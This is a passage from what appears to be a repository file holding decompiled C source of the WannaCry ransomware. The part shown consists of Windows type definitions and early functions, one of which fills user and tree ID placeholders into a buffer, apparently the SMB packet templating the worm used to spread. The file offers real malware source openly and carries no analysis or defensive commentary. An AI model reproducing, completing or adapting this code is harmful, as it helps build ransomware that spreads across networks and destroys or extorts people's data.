-
Notifications
You must be signed in to change notification settings - Fork 0
/
wannacry.c
8747 lines (8384 loc) · 212 KB
/
wannacry.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
typedef unsigned char undefined;
typedef unsigned int ImageBaseOffset32;
typedef unsigned char byte;
typedef unsigned int dword;
typedef long long longlong;
typedef unsigned char uchar;
typedef unsigned int uint;
typedef unsigned long ulong;
typedef unsigned char undefined1;
typedef unsigned short undefined2;
typedef unsigned int undefined4;
typedef unsigned long long undefined8;
typedef unsigned short ushort;
typedef short wchar_t;
typedef unsigned short word;
typedef struct _s_HandlerType _s_HandlerType, *P_s_HandlerType;
typedef struct _s_HandlerType HandlerType;
typedef struct TypeDescriptor TypeDescriptor, *PTypeDescriptor;
typedef int ptrdiff_t;
struct TypeDescriptor {
dword hash;
void * spare;
char[0] name;
};
struct _s_HandlerType {
uint adjectives;
struct TypeDescriptor * pType;
ptrdiff_t dispCatchObj;
void * addressOfHandler;
};
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion;
typedef struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct {
dword OffsetToDirectory;
dword DataIsDirectory;
};
union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion {
dword OffsetToData;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct;
};
typedef struct _s_TryBlockMapEntry _s_TryBlockMapEntry, *P_s_TryBlockMapEntry;
typedef int __ehstate_t;
struct _s_TryBlockMapEntry {
__ehstate_t tryLow;
__ehstate_t tryHigh;
__ehstate_t catchHigh;
int nCatches;
HandlerType * pHandlerArray;
};
typedef struct _s_TryBlockMapEntry TryBlockMapEntry;
typedef struct _s_UnwindMapEntry _s_UnwindMapEntry, *P_s_UnwindMapEntry;
struct _s_UnwindMapEntry {
__ehstate_t toState;
void (* action)(void);
};
typedef unsigned short wchar16;
typedef struct _s_UnwindMapEntry UnwindMapEntry;
typedef void * HINTERNET;
typedef struct _s_FuncInfo _s_FuncInfo, *P_s_FuncInfo;
typedef struct _s_FuncInfo FuncInfo;
struct _s_FuncInfo {
uint magicNumber_and_bbtFlags;
__ehstate_t maxState;
UnwindMapEntry * pUnwindMap;
uint nTryBlocks;
TryBlockMapEntry * pTryBlockMap;
uint nIPMapEntries;
void * pIPToStateMap;
};
typedef struct _OVERLAPPED _OVERLAPPED, *P_OVERLAPPED;
typedef ulong ULONG_PTR;
typedef union _union_518 _union_518, *P_union_518;
typedef void * HANDLE;
typedef struct _struct_519 _struct_519, *P_struct_519;
typedef void * PVOID;
typedef ulong DWORD;
struct _struct_519 {
DWORD Offset;
DWORD OffsetHigh;
};
union _union_518 {
struct _struct_519 s;
PVOID Pointer;
};
struct _OVERLAPPED {
ULONG_PTR Internal;
ULONG_PTR InternalHigh;
union _union_518 u;
HANDLE hEvent;
};
typedef struct _SECURITY_ATTRIBUTES _SECURITY_ATTRIBUTES, *P_SECURITY_ATTRIBUTES;
typedef void * LPVOID;
typedef int BOOL;
struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
};
typedef struct _OVERLAPPED * LPOVERLAPPED;
typedef struct _SECURITY_ATTRIBUTES * LPSECURITY_ATTRIBUTES;
typedef struct _STARTUPINFOA _STARTUPINFOA, *P_STARTUPINFOA;
typedef char CHAR;
typedef CHAR * LPSTR;
typedef ushort WORD;
typedef uchar BYTE;
typedef BYTE * LPBYTE;
struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
};
typedef struct _PROCESS_INFORMATION _PROCESS_INFORMATION, *P_PROCESS_INFORMATION;
struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
};
typedef struct _STARTUPINFOA * LPSTARTUPINFOA;
typedef struct _PROCESS_INFORMATION * LPPROCESS_INFORMATION;
typedef struct _RTL_CRITICAL_SECTION _RTL_CRITICAL_SECTION, *P_RTL_CRITICAL_SECTION;
typedef struct _RTL_CRITICAL_SECTION * PRTL_CRITICAL_SECTION;
typedef PRTL_CRITICAL_SECTION LPCRITICAL_SECTION;
typedef struct _RTL_CRITICAL_SECTION_DEBUG _RTL_CRITICAL_SECTION_DEBUG, *P_RTL_CRITICAL_SECTION_DEBUG;
typedef struct _RTL_CRITICAL_SECTION_DEBUG * PRTL_CRITICAL_SECTION_DEBUG;
typedef long LONG;
typedef struct _LIST_ENTRY _LIST_ENTRY, *P_LIST_ENTRY;
typedef struct _LIST_ENTRY LIST_ENTRY;
struct _RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
};
struct _LIST_ENTRY {
struct _LIST_ENTRY * Flink;
struct _LIST_ENTRY * Blink;
};
struct _RTL_CRITICAL_SECTION_DEBUG {
WORD Type;
WORD CreatorBackTraceIndex;
struct _RTL_CRITICAL_SECTION * CriticalSection;
LIST_ENTRY ProcessLocksList;
DWORD EntryCount;
DWORD ContentionCount;
DWORD Flags;
WORD CreatorBackTraceIndexHigh;
WORD SpareWORD;
};
typedef struct _CONTEXT _CONTEXT, *P_CONTEXT;
typedef struct _FLOATING_SAVE_AREA _FLOATING_SAVE_AREA, *P_FLOATING_SAVE_AREA;
typedef struct _FLOATING_SAVE_AREA FLOATING_SAVE_AREA;
struct _FLOATING_SAVE_AREA {
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
BYTE RegisterArea[80];
DWORD Cr0NpxState;
};
struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[512];
};
typedef struct _EXCEPTION_RECORD _EXCEPTION_RECORD, *P_EXCEPTION_RECORD;
struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD * ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[15];
};
typedef struct _EXCEPTION_POINTERS _EXCEPTION_POINTERS, *P_EXCEPTION_POINTERS;
typedef struct _EXCEPTION_RECORD EXCEPTION_RECORD;
typedef EXCEPTION_RECORD * PEXCEPTION_RECORD;
typedef struct _CONTEXT CONTEXT;
typedef CONTEXT * PCONTEXT;
struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
};
typedef uint uintptr_t;
typedef longlong __time64_t;
typedef uint size_t;
typedef __time64_t time_t;
typedef struct _startupinfo _startupinfo, *P_startupinfo;
struct _startupinfo {
int newmode;
};
typedef struct _Lockit _Lockit, *P_Lockit;
struct _Lockit { // PlaceHolder Class Structure
};
typedef struct _SERVICE_TABLE_ENTRYA _SERVICE_TABLE_ENTRYA, *P_SERVICE_TABLE_ENTRYA;
typedef struct _SERVICE_TABLE_ENTRYA SERVICE_TABLE_ENTRYA;
typedef void (* LPSERVICE_MAIN_FUNCTIONA)(DWORD, LPSTR *);
struct _SERVICE_TABLE_ENTRYA {
LPSTR lpServiceName;
LPSERVICE_MAIN_FUNCTIONA lpServiceProc;
};
typedef struct SERVICE_STATUS_HANDLE__ SERVICE_STATUS_HANDLE__, *PSERVICE_STATUS_HANDLE__;
struct SERVICE_STATUS_HANDLE__ {
int unused;
};
typedef struct _SERVICE_STATUS _SERVICE_STATUS, *P_SERVICE_STATUS;
struct _SERVICE_STATUS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
};
typedef struct _SERVICE_STATUS * LPSERVICE_STATUS;
typedef struct SC_HANDLE__ SC_HANDLE__, *PSC_HANDLE__;
typedef struct SC_HANDLE__ * SC_HANDLE;
struct SC_HANDLE__ {
int unused;
};
typedef void (* LPHANDLER_FUNCTION)(DWORD);
typedef struct SERVICE_STATUS_HANDLE__ * SERVICE_STATUS_HANDLE;
typedef union _LARGE_INTEGER _LARGE_INTEGER, *P_LARGE_INTEGER;
typedef struct _struct_19 _struct_19, *P_struct_19;
typedef struct _struct_20 _struct_20, *P_struct_20;
typedef double LONGLONG;
struct _struct_20 {
DWORD LowPart;
LONG HighPart;
};
struct _struct_19 {
DWORD LowPart;
LONG HighPart;
};
union _LARGE_INTEGER {
struct _struct_19 s;
struct _struct_20 u;
LONGLONG QuadPart;
};
typedef union _LARGE_INTEGER LARGE_INTEGER;
typedef CHAR * LPCSTR;
typedef wchar_t WCHAR;
typedef WCHAR * LPCWSTR;
typedef WCHAR * PWSTR;
typedef struct IMAGE_DOS_HEADER IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
struct IMAGE_DOS_HEADER {
char e_magic[2]; // Magic number
word e_cblp; // Bytes of last page
word e_cp; // Pages in file
word e_crlc; // Relocations
word e_cparhdr; // Size of header in paragraphs
word e_minalloc; // Minimum extra paragraphs needed
word e_maxalloc; // Maximum extra paragraphs needed
word e_ss; // Initial (relative) SS value
word e_sp; // Initial SP value
word e_csum; // Checksum
word e_ip; // Initial IP value
word e_cs; // Initial (relative) CS value
word e_lfarlc; // File address of relocation table
word e_ovno; // Overlay number
word e_res[4][4]; // Reserved words
word e_oemid; // OEM identifier (for e_oeminfo)
word e_oeminfo; // OEM information; e_oemid specific
word e_res2[10][10]; // Reserved words
dword e_lfanew; // File address of new exe header
byte e_program[64]; // Actual DOS program
};
typedef ULONG_PTR HCRYPTPROV;
typedef ULONG_PTR DWORD_PTR;
typedef ULONG_PTR SIZE_T;
typedef int (* FARPROC)(void);
typedef DWORD * LPDWORD;
typedef struct HINSTANCE__ HINSTANCE__, *PHINSTANCE__;
struct HINSTANCE__ {
int unused;
};
typedef HANDLE HGLOBAL;
typedef struct HINSTANCE__ * HINSTANCE;
typedef void * LPCVOID;
typedef struct HRSRC__ HRSRC__, *PHRSRC__;
typedef struct HRSRC__ * HRSRC;
struct HRSRC__ {
int unused;
};
typedef HINSTANCE HMODULE;
typedef HANDLE HLOCAL;
typedef uint UINT;
typedef struct IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
typedef struct IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
struct IMAGE_DATA_DIRECTORY {
ImageBaseOffset32 VirtualAddress;
dword Size;
};
struct IMAGE_OPTIONAL_HEADER32 {
word Magic;
byte MajorLinkerVersion;
byte MinorLinkerVersion;
dword SizeOfCode;
dword SizeOfInitializedData;
dword SizeOfUninitializedData;
ImageBaseOffset32 AddressOfEntryPoint;
ImageBaseOffset32 BaseOfCode;
ImageBaseOffset32 BaseOfData;
pointer32 ImageBase;
dword SectionAlignment;
dword FileAlignment;
word MajorOperatingSystemVersion;
word MinorOperatingSystemVersion;
word MajorImageVersion;
word MinorImageVersion;
word MajorSubsystemVersion;
word MinorSubsystemVersion;
dword Win32VersionValue;
dword SizeOfImage;
dword SizeOfHeaders;
dword CheckSum;
word Subsystem;
word DllCharacteristics;
dword SizeOfStackReserve;
dword SizeOfStackCommit;
dword SizeOfHeapReserve;
dword SizeOfHeapCommit;
dword LoaderFlags;
dword NumberOfRvaAndSizes;
struct IMAGE_DATA_DIRECTORY DataDirectory[16];
};
typedef struct Var Var, *PVar;
struct Var {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct {
dword NameOffset;
dword NameIsString;
};
typedef struct IMAGE_FILE_HEADER IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
struct IMAGE_FILE_HEADER {
word Machine; // 332
word NumberOfSections;
dword TimeDateStamp;
dword PointerToSymbolTable;
dword NumberOfSymbols;
word SizeOfOptionalHeader;
word Characteristics;
};
typedef struct IMAGE_NT_HEADERS32 IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
struct IMAGE_NT_HEADERS32 {
char Signature[4];
struct IMAGE_FILE_HEADER FileHeader;
struct IMAGE_OPTIONAL_HEADER32 OptionalHeader;
};
typedef struct StringFileInfo StringFileInfo, *PStringFileInfo;
struct StringFileInfo {
word wLength;
word wValueLength;
word wType;
};
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion;
union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion {
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct;
dword Name;
word Id;
};
union IMAGE_RESOURCE_DIRECTORY_ENTRY {
union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion NameUnion;
union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion DirectoryUnion;
};
typedef struct StringTable StringTable, *PStringTable;
struct StringTable {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_SECTION_HEADER IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef union Misc Misc, *PMisc;
typedef enum SectionFlags {
IMAGE_SCN_ALIGN_1024BYTES=11534336,
IMAGE_SCN_ALIGN_128BYTES=8388608,
IMAGE_SCN_ALIGN_16BYTES=5242880,
IMAGE_SCN_ALIGN_1BYTES=1048576,
IMAGE_SCN_ALIGN_2048BYTES=12582912,
IMAGE_SCN_ALIGN_256BYTES=9437184,
IMAGE_SCN_ALIGN_2BYTES=2097152,
IMAGE_SCN_ALIGN_32BYTES=6291456,
IMAGE_SCN_ALIGN_4096BYTES=13631488,
IMAGE_SCN_ALIGN_4BYTES=3145728,
IMAGE_SCN_ALIGN_512BYTES=10485760,
IMAGE_SCN_ALIGN_64BYTES=7340032,
IMAGE_SCN_ALIGN_8192BYTES=14680064,
IMAGE_SCN_ALIGN_8BYTES=4194304,
IMAGE_SCN_CNT_CODE=32,
IMAGE_SCN_CNT_INITIALIZED_DATA=64,
IMAGE_SCN_CNT_UNINITIALIZED_DATA=128,
IMAGE_SCN_GPREL=32768,
IMAGE_SCN_LNK_COMDAT=4096,
IMAGE_SCN_LNK_INFO=512,
IMAGE_SCN_LNK_NRELOC_OVFL=16777216,
IMAGE_SCN_LNK_OTHER=256,
IMAGE_SCN_LNK_REMOVE=2048,
IMAGE_SCN_MEM_16BIT=131072,
IMAGE_SCN_MEM_DISCARDABLE=33554432,
IMAGE_SCN_MEM_EXECUTE=536870912,
IMAGE_SCN_MEM_LOCKED=262144,
IMAGE_SCN_MEM_NOT_CACHED=67108864,
IMAGE_SCN_MEM_NOT_PAGED=134217728,
IMAGE_SCN_MEM_PRELOAD=524288,
IMAGE_SCN_MEM_PURGEABLE=131072,
IMAGE_SCN_MEM_READ=1073741824,
IMAGE_SCN_MEM_SHARED=268435456,
IMAGE_SCN_MEM_WRITE=2147483648,
IMAGE_SCN_RESERVED_0001=16,
IMAGE_SCN_RESERVED_0040=1024,
IMAGE_SCN_TYPE_NO_PAD=8
} SectionFlags;
union Misc {
dword PhysicalAddress;
dword VirtualSize;
};
struct IMAGE_SECTION_HEADER {
char Name[8];
union Misc Misc;
ImageBaseOffset32 VirtualAddress;
dword SizeOfRawData;
dword PointerToRawData;
dword PointerToRelocations;
dword PointerToLinenumbers;
word NumberOfRelocations;
word NumberOfLinenumbers;
enum SectionFlags Characteristics;
};
typedef struct VS_VERSION_INFO VS_VERSION_INFO, *PVS_VERSION_INFO;
struct VS_VERSION_INFO {
word StructLength;
word ValueLength;
word StructType;
wchar16 Info[16];
byte Padding[2];
dword Signature;
word StructVersion[2];
word FileVersion[4];
word ProductVersion[4];
dword FileFlagsMask[2];
dword FileFlags;
dword FileOS;
dword FileType;
dword FileSubtype;
dword FileTimestamp;
};
typedef struct IMAGE_RESOURCE_DATA_ENTRY IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;
struct IMAGE_RESOURCE_DATA_ENTRY {
dword OffsetToData;
dword Size;
dword CodePage;
dword Reserved;
};
typedef struct VarFileInfo VarFileInfo, *PVarFileInfo;
struct VarFileInfo {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_RESOURCE_DIR_STRING_U_2 IMAGE_RESOURCE_DIR_STRING_U_2, *PIMAGE_RESOURCE_DIR_STRING_U_2;
struct IMAGE_RESOURCE_DIR_STRING_U_2 {
word Length;
wchar16 NameString[1];
};
typedef struct IMAGE_RESOURCE_DIRECTORY IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;
struct IMAGE_RESOURCE_DIRECTORY {
dword Characteristics;
dword TimeDateStamp;
word MajorVersion;
word MinorVersion;
word NumberOfNamedEntries;
word NumberOfIdEntries;
};
typedef struct StringInfo StringInfo, *PStringInfo;
struct StringInfo {
word wLength;
word wValueLength;
word wType;
};
typedef int (* _onexit_t)(void);
void FUN_00401010(void) {
undefined local_2;
undefined local_1;
FUN_00408200(&DAT_00431468,&local_1,&local_2);
return;
}
char * __cdecl FUN_00401140(char *param_1,char *param_2,int param_3) {
char cVar1;
byte bVar2;
int iVar3;
char *pcVar4;
char *pcVar5;
char *pcVar6;
bool bVar7;
iVar3 = -1;
pcVar5 = param_2;
do {
bVar2 = (byte)iVar3;
if (iVar3 == 0) break;
iVar3 = iVar3 + -1;
bVar2 = (byte)iVar3;
cVar1 = *pcVar5;
pcVar5 = pcVar5 + 1;
} while (cVar1 != '\0');
pcVar5 = param_1 + (param_3 - (int)(char)(~bVar2 - 1));
if (param_1 <= pcVar5) {
do {
bVar7 = true;
iVar3 = (int)(char)(~bVar2 - 1);
pcVar4 = param_1;
pcVar6 = param_2;
do {
if (iVar3 == 0) break;
iVar3 = iVar3 + -1;
bVar7 = *pcVar4 == *pcVar6;
pcVar4 = pcVar4 + 1;
pcVar6 = pcVar6 + 1;
} while (bVar7);
if (bVar7) {
return param_1;
}
param_1 = param_1 + 1;
} while (param_1 <= pcVar5);
}
return (char *)0x0;
}
uint __cdecl
FUN_00401190(undefined4 *param_1,uint param_2,undefined4 *param_3,char *param_4,char *param_5) {
char cVar1;
char *pcVar2;
uint uVar3;
uint uVar4;
char *pcVar5;
char *pcVar6;
uint uVar7;
undefined4 *puVar8;
char *pcVar9;
undefined4 *puVar10;
pcVar2 = FUN_00401140((char *)param_1,s___USERID__PLACEHOLDER___00431278,param_2);
puVar8 = param_1;
if (pcVar2 != (char *)0x0) {
pcVar5 = pcVar2 + -(int)param_1;
uVar3 = (uint)pcVar5 >> 2;
puVar10 = param_3;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*puVar10 = *puVar8;
puVar8 = puVar8 + 1;
puVar10 = puVar10 + 1;
}
uVar3 = (uint)pcVar5 & 3;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*(undefined *)puVar10 = *(undefined *)puVar8;
puVar8 = (undefined4 *)((int)puVar8 + 1);
puVar10 = (undefined4 *)((int)puVar10 + 1);
}
pcVar5[(int)param_3] = *param_4;
(pcVar5 + 1)[(int)param_3] = param_4[1];
uVar3 = 0xffffffff;
pcVar6 = s___USERID__PLACEHOLDER___00431278;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar6;
pcVar6 = pcVar6 + 1;
} while (cVar1 != '\0');
uVar7 = (param_2 - (int)pcVar5) - (~uVar3 - 1);
uVar3 = 0xffffffff;
pcVar6 = s___USERID__PLACEHOLDER___00431278;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar6;
pcVar6 = pcVar6 + 1;
} while (cVar1 != '\0');
uVar4 = uVar7 >> 2;
puVar8 = (undefined4 *)(pcVar2 + (~uVar3 - 1));
puVar10 = (undefined4 *)(pcVar5 + 2 + (int)param_3);
while (uVar4 != 0) {
uVar4 = uVar4 - 1;
*puVar10 = *puVar8;
puVar8 = puVar8 + 1;
puVar10 = puVar10 + 1;
}
uVar7 = uVar7 & 3;
while (uVar7 != 0) {
uVar7 = uVar7 - 1;
*(undefined *)puVar10 = *(undefined *)puVar8;
puVar8 = (undefined4 *)((int)puVar8 + 1);
puVar10 = (undefined4 *)((int)puVar10 + 1);
}
uVar3 = 0xffffffff;
pcVar5 = s___USERID__PLACEHOLDER___00431278;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar5;
pcVar5 = pcVar5 + 1;
} while (cVar1 != '\0');
param_2 = (param_2 - (~uVar3 - 1)) + 2;
puVar8 = param_3;
}
pcVar5 = FUN_00401140((char *)puVar8,s___TREEID__PLACEHOLDER___00431260,param_2);
if (pcVar5 != (char *)0x0) {
pcVar6 = pcVar5 + -(int)puVar8;
uVar3 = (uint)pcVar6 >> 2;
puVar10 = param_3;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*puVar10 = *puVar8;
puVar8 = puVar8 + 1;
puVar10 = puVar10 + 1;
}
uVar3 = (uint)pcVar6 & 3;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*(undefined *)puVar10 = *(undefined *)puVar8;
puVar8 = (undefined4 *)((int)puVar8 + 1);
puVar10 = (undefined4 *)((int)puVar10 + 1);
}
pcVar6[(int)param_3] = *param_5;
(pcVar6 + 1)[(int)param_3] = param_5[1];
uVar3 = 0xffffffff;
pcVar9 = s___TREEID__PLACEHOLDER___00431260;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
uVar7 = (param_2 - (int)pcVar6) - (~uVar3 - 1);
uVar3 = 0xffffffff;
pcVar9 = s___USERID__PLACEHOLDER___00431278;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
uVar4 = uVar7 >> 2;
puVar8 = (undefined4 *)(pcVar5 + (~uVar3 - 1));
puVar10 = (undefined4 *)(pcVar6 + 2 + (int)param_3);
while (uVar4 != 0) {
uVar4 = uVar4 - 1;
*puVar10 = *puVar8;
puVar8 = puVar8 + 1;
puVar10 = puVar10 + 1;
}
uVar7 = uVar7 & 3;
while (uVar7 != 0) {
uVar7 = uVar7 - 1;
*(undefined *)puVar10 = *(undefined *)puVar8;
puVar8 = (undefined4 *)((int)puVar8 + 1);
puVar10 = (undefined4 *)((int)puVar10 + 1);
}
uVar3 = 0xffffffff;
pcVar6 = s___TREEID__PLACEHOLDER___00431260;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar6;
pcVar6 = pcVar6 + 1;
} while (cVar1 != '\0');
param_2 = param_2 + (2 - (~uVar3 - 1));
}
if ((pcVar2 == (char *)0x0) && (pcVar5 == (char *)0x0)) {
uVar3 = param_2 >> 2;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*param_3 = *param_1;
param_1 = param_1 + 1;
param_3 = param_3 + 1;
}
uVar3 = param_2 & 3;
while (uVar3 != 0) {
uVar3 = uVar3 - 1;
*(undefined *)param_3 = *(undefined *)param_1;
param_1 = (undefined4 *)((int)param_1 + 1);
param_3 = (undefined4 *)((int)param_3 + 1);
}
}
return param_2;
}
void FUN_00401310(void) {
int **ppiVar1;
int **ppiVar2;
int **ppiVar3;
ppiVar3 = (int **)*DAT_0043146c;
if (ppiVar3 != DAT_0043146c) {
do {
Ordinal_3(ppiVar3[4]);
ppiVar2 = (int **)ppiVar3[2];
if (ppiVar2 == DAT_0070f878) {
ppiVar2 = (int **)ppiVar3[1];
if (ppiVar3 == (int **)ppiVar2[2]) {
do {
ppiVar3 = ppiVar2;
ppiVar2 = (int **)ppiVar3[1];
} while (ppiVar3 == (int **)ppiVar2[2]);
}
if ((int **)ppiVar3[2] != ppiVar2) {
ppiVar3 = ppiVar2;
}
}
else {
ppiVar1 = (int **)*ppiVar2;
while (ppiVar3 = ppiVar2, ppiVar1 != DAT_0070f878) {
ppiVar2 = ppiVar1;
